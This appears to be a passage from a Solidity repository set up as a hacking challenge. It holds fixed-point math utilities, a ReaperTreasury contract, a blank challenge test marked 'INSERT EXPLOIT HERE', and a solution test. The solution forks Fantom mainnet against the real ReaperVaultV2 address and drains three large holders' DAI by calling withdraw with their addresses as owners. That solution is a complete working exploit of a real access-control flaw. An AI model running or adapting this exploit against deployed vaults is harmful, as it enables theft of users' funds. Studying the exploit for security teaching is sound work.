z) { 58 | assembly { 59 | // Store x * y in z for now. 60 | z := mul(x, y) 61 | 62 | // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) 63 | if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { 64 | revert(0, 0) 65 | } 66 | 67 | // First, divide z - 1 by the denominator and add 1. 68 | // We allow z - 1 to underflow if z is 0, because we multiply the 69 | // end result by 0 if z is zero, ensuring we return 0 if z is zero. 70 | z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1)) 71 | } 72 | } 73 | 74 | function rpow( 75 | uint256 x, 76 | uint256 n, 77 | uint256 scalar 78 | ) internal pure returns (uint256 z) { 79 | assembly { 80 | switch x 81 | case 0 { 82 | switch n 83 | case 0 { 84 | // 0 ** 0 = 1 85 | z := scalar 86 | } 87 | default { 88 | // 0 ** n = 0 89 | z := 0 90 | } 91 | } 92 | default { 93 | switch mod(n, 2) 94 | case 0 { 95 | // If n is even, store scalar in z for now. 96 | z := scalar 97 | } 98 | default { 99 | // If n is odd, store x in z for now. 100 | z := x 101 | } 102 | 103 | // Shifting right by 1 is like dividing by 2. 104 | let half := shr(1, scalar) 105 | 106 | for { 107 | // Shift n right by 1 before looping to halve it. 108 | n := shr(1, n) 109 | } n { 110 | // Shift n right by 1 each iteration to halve it. 111 | n := shr(1, n) 112 | } { 113 | // Revert immediately if x ** 2 would overflow. 114 | // Equivalent to iszero(eq(div(xx, x), x)) here. 115 | if shr(128, x) { 116 | revert(0, 0) 117 | } 118 | 119 | // Store x squared. 120 | let xx := mul(x, x) 121 | 122 | // Round to the nearest number. 123 | let xxRound := add(xx, half) 124 | 125 | // Revert if xx + half overflowed. 126 | if lt(xxRound, xx) { 127 | revert(0, 0) 128 | } 129 | 130 | // Set x to scaled xxRound. 131 | x := div(xxRound, scalar) 132 | 133 | // If n is even: 134 | if mod(n, 2) { 135 | // Compute z * x. 136 | let zx := mul(z, x) 137 | 138 | // If z * x overflowed: 139 | if iszero(eq(div(zx, x), z)) { 140 | // Revert if x is non-zero. 141 | if iszero(iszero(x)) { 142 | revert(0, 0) 143 | } 144 | } 145 | 146 | // Round to the nearest number. 147 | let zxRound := add(zx, half) 148 | 149 | // Revert if zx + half overflowed. 150 | if lt(zxRound, zx) { 151 | revert(0, 0) 152 | } 153 | 154 | // Return properly scaled zxRound. 155 | z := div(zxRound, scalar) 156 | } 157 | } 158 | } 159 | } 160 | } 161 | 162 | /*////////////////////////////////////////////////////////////// 163 | GENERAL NUMBER UTILITIES 164 | //////////////////////////////////////////////////////////////*/ 165 | 166 | function sqrt(uint256 x) internal pure returns (uint256 z) { 167 | assembly { 168 | // Start off with z at 1. 169 | z := 1 170 | 171 | // Used below to help find a nearby power of 2. 172 | let y := x 173 | 174 | // Find the lowest power of 2 that is at least sqrt(x). 175 | if iszero(lt(y, 0x100000000000000000000000000000000)) { 176 | y := shr(128, y) // Like dividing by 2 ** 128. 177 | z := shl(64, z) // Like multiplying by 2 ** 64. 178 | } 179 | if iszero(lt(y, 0x10000000000000000)) { 180 | y := shr(64, y) // Like dividing by 2 ** 64. 181 | z := shl(32, z) // Like multiplying by 2 ** 32. 182 | } 183 | if iszero(lt(y, 0x100000000)) { 184 | y := shr(32, y) // Like dividing by 2 ** 32. 185 | z := shl(16, z) // Like multiplying by 2 ** 16. 186 | } 187 | if iszero(lt(y, 0x10000)) { 188 | y := shr(16, y) // Like dividing by 2 ** 16. 189 | z := shl(8, z) // Like multiplying by 2 ** 8. 190 | } 191 | if iszero(lt(y, 0x100)) { 192 | y := shr(8, y) // Like dividing by 2 ** 8. 193 | z := shl(4, z) // Like multiplying by 2 ** 4. 194 | } 195 | if iszero(lt(y, 0x10)) { 196 | y := shr(4, y) // Like dividing by 2 ** 4. 197 | z := shl(2, z) // Like multiplying by 2 ** 2. 198 | } 199 | if iszero(lt(y, 0x8)) { 200 | // Equivalent to 2 ** z. 201 | z := shl(1, z) 202 | } 203 | 204 | // Shifting right by 1 is like dividing by 2. 205 | z := shr(1, add(z, div(x, z))) 206 | z := shr(1, add(z, div(x, z))) 207 | z := shr(1, add(z, div(x, z))) 208 | z := shr(1, add(z, div(x, z))) 209 | z := shr(1, add(z, div(x, z))) 210 | z := shr(1, add(z, div(x, z))) 211 | z := shr(1, add(z, div(x, z))) 212 | 213 | // Compute a rounded down version of z. 214 | let zRoundDown := div(x, z) 215 | 216 | // If zRoundDown is smaller, use it. 217 | if lt(zRoundDown, z) { 218 | z := zRoundDown 219 | } 220 | } 221 | } 222 | } -------------------------------------------------------------------------------- /src/reference/Treasury.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: agpl-3.0 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 7 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 8 | import "@openzeppelin/contracts/utils/math/SafeMath.sol"; 9 | 10 | contract ReaperTreasury is Ownable { 11 | using SafeERC20 for IERC20; 12 | using SafeMath for uint256; 13 | 14 | address public accountant; 15 | 16 | struct Withdrawal { 17 | uint256 amount; 18 | address token; 19 | uint256 time; 20 | bool reviewed; 21 | } 22 | 23 | uint256 counter = 0; 24 | 25 | mapping(uint256 => Withdrawal) public withdrawals; 26 | 27 | function viewWithdrawal(uint256 index) 28 | public 29 | view 30 | returns ( 31 | uint256, 32 | address, 33 | uint256, 34 | bool 35 | ) 36 | { 37 | Withdrawal memory receipt = withdrawals[index]; 38 | return (receipt.amount, receipt.token, receipt.time, receipt.reviewed); 39 | } 40 | 41 | function markReviewed(uint256 index) public returns (bool) { 42 | require(msg.sender == accountant, "not authorized"); 43 | withdrawals[index].reviewed = true; 44 | return true; 45 | } 46 | 47 | function withdrawTokens( 48 | address _token, 49 | address _to, 50 | uint256 _amount 51 | ) external onlyOwner { 52 | withdrawals[counter] = Withdrawal(_amount, _token, block.timestamp, false); 53 | counter++; 54 | IERC20(_token).safeTransfer(_to, _amount); 55 | } 56 | 57 | function withdrawFTM(address payable _to, uint256 _amount) external onlyOwner { 58 | withdrawals[counter] = Withdrawal(_amount, address(0), block.timestamp, false); 59 | counter++; 60 | _to.transfer(_amount); 61 | } 62 | 63 | function setAccountant(address _addr) public onlyOwner returns (bool) { 64 | accountant = _addr; 65 | return true; 66 | } 67 | 68 | receive() external payable {} 69 | } 70 | -------------------------------------------------------------------------------- /test/ReaperHack.t.sol: -------------------------------------------------------------------------------- 1 | // // SPDX-License-Identifier: UNLICENSED 2 | // pragma solidity ^0.8.0; 3 | 4 | // import "forge-std/Test.sol"; 5 | // import "../src/ReaperVaultV2.sol"; 6 | 7 | // interface IERC20Like { 8 | // function balanceOf(address _addr) external view returns (uint); 9 | // } 10 | 11 | // contract CounterTest is Test { 12 | // ReaperVaultV2 reaper = ReaperVaultV2(0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A); 13 | // IERC20Like fantomDai = IERC20Like(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E); 14 | 15 | // function testReaperHack() public { 16 | // vm.createSelectFork(vm.envString("FANTOM_RPC"), 44000000); 17 | // console.log("Your Starting Balance:", fantomDai.balanceOf(address(this))); 18 | 19 | // // INSERT EXPLOIT HERE 20 | 21 | // console.log("Your Final Balance:", fantomDai.balanceOf(address(this))); 22 | // assert(fantomDai.balanceOf(address(this)) > 400_000 ether); 23 | // } 24 | // } 25 | -------------------------------------------------------------------------------- /test/ReaperHackSolution.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/ReaperVaultV2.sol"; 6 | 7 | interface IERC20Like { 8 | function balanceOf(address _addr) external view returns (uint); 9 | } 10 | 11 | contract ReaperHackTest is Test { 12 | ReaperVaultV2 reaper = ReaperVaultV2(0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A); 13 | IERC20Like fantomDai = IERC20Like(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E); 14 | 15 | function testReaperHack() public { 16 | vm.createSelectFork("https://rpc.ankr.com/fantom/", 44000000); 17 | console.log("Your Starting Balance:", fantomDai.balanceOf(address(this))); 18 | 19 | address[] memory whales = new address[](3); 20 | whales[0] = 0xfc83DA727034a487f031dA33D55b4664ba312f1D; 21 | whales[1] = 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b; 22 | whales[2] = 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9; 23 | 24 | for (uint i; i < whales.length; i++) { 25 | reaper.withdraw(reaper.maxWithdraw(whales[i]), address(this), whales[i]); 26 | } 27 | 28 | console.log("Your Final Balance:", fantomDai.balanceOf(address(this))); 29 | assert(fantomDai.balanceOf(address(this)) > 400_000 ether); 30 | } 31 | } 32 | 33 | --------------------------------------------------------------------------------